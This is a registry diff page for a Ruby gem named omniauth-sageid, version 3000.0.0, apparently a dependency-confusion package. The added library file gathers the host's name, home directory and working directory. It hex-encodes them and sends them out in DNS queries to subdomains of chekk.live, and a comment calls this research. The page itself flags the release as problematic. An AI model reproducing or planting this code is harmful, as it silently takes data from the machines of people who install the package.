omniauth-sageid 3000.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of omniauth-sageid might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/omniauth-sageid.rb +62 -0
  3. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 1e0e09ec833a93acc988bb8760e83378778d9bbc90e04f5e8573834f7c418fc8
4
+ data.tar.gz: a886a9408ac8b432a193ad91a4929db42851e899fb26fd276f8333b9c5b29600
5
+ SHA512:
6
+ metadata.gz: 72c99f6159162ed0d06636d35902cf2964c8ae65c586cdab13a24ec1c635a84da4d61846403479a5601ac40f26f0cee561275b24865774c9ca7004fa3f11f888
7
+ data.tar.gz: 936151a885f8fc8557b68c1d94187e64beb501f03247904ff5139bd69a294d4ab461e6e0355c07772d846413842b0fef11248fd13f3c3bff5dd90ecef8fd79e8
@@ -0,0 +1,62 @@
1
+
2
+ =begin
3
+
4
+ This code is used for research purposes.
5
+
6
+ No sensitive data is retrieved.
7
+
8
+ Callbacks from within organizations with a
9
+ responsible disclosure policy will be reported
10
+ directly to the organizations.
11
+
12
+ Any other callbacks will be ignored, and
13
+ any associated data will not be kept.
14
+
15
+ For any questions or suggestions:
16
+
17
+
18
+ =end
19
+
20
+ require 'socket'
21
+ require 'json'
22
+ require 'resolv'
23
+
24
+ suffix = '.d.chekk.live'
25
+ ns = 'dns1.chekk.live'
26
+
27
+ package = 'omniauth-sageid'
28
+
29
+ # only the bare minimum to be able to identify
30
+ # a vulnerable organization
31
+ data = {
32
+ 'p' => package,
33
+ 'h' => Socket.gethostname,
34
+ 'd' => File.expand_path('~'),
35
+ 'c' => Dir.pwd
36
+ }
37
+
38
+ data = JSON.generate(data)
39
+ data = data.unpack('H*')[0].scan(/.{1,60}/)
40
+
41
+ id_1 = rand(36**12).to_s(36)
42
+ id_2 = rand(36**12).to_s(36)
43
+
44
+ begin
45
+ ns_ip = Resolv.getaddress(ns)
46
+ rescue
47
+ ns_ip = '4.4.4.4'
48
+ end
49
+
50
+ custom_res = Resolv.new([Resolv::Hosts.new,
51
+ Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
52
+
53
+
54
+ data.each.each_with_index do |chunk, idx|
55
+ begin
56
+ Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
57
+ rescue; end
58
+
59
+ begin
60
+ custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
61
+ rescue; end
62
+ end
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: omniauth-sageid
3
+ version: !ruby/object:Gem::Version
4
+ version: 3000.0.0
5
+ platform: ruby
6
+ authors:
7
+ - John Doe
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2021-02-10 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: Security assesment
14
+ email: jjdoe2@doe.com
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/omniauth-sageid.rb
20
+ homepage: https://rubygems.org/gems/omniauth-sageid
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ post_install_message:
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.2.3
40
+ signing_key:
41
+ specification_version: 4
42
+ summary: Security assesment
43
+ test_files: []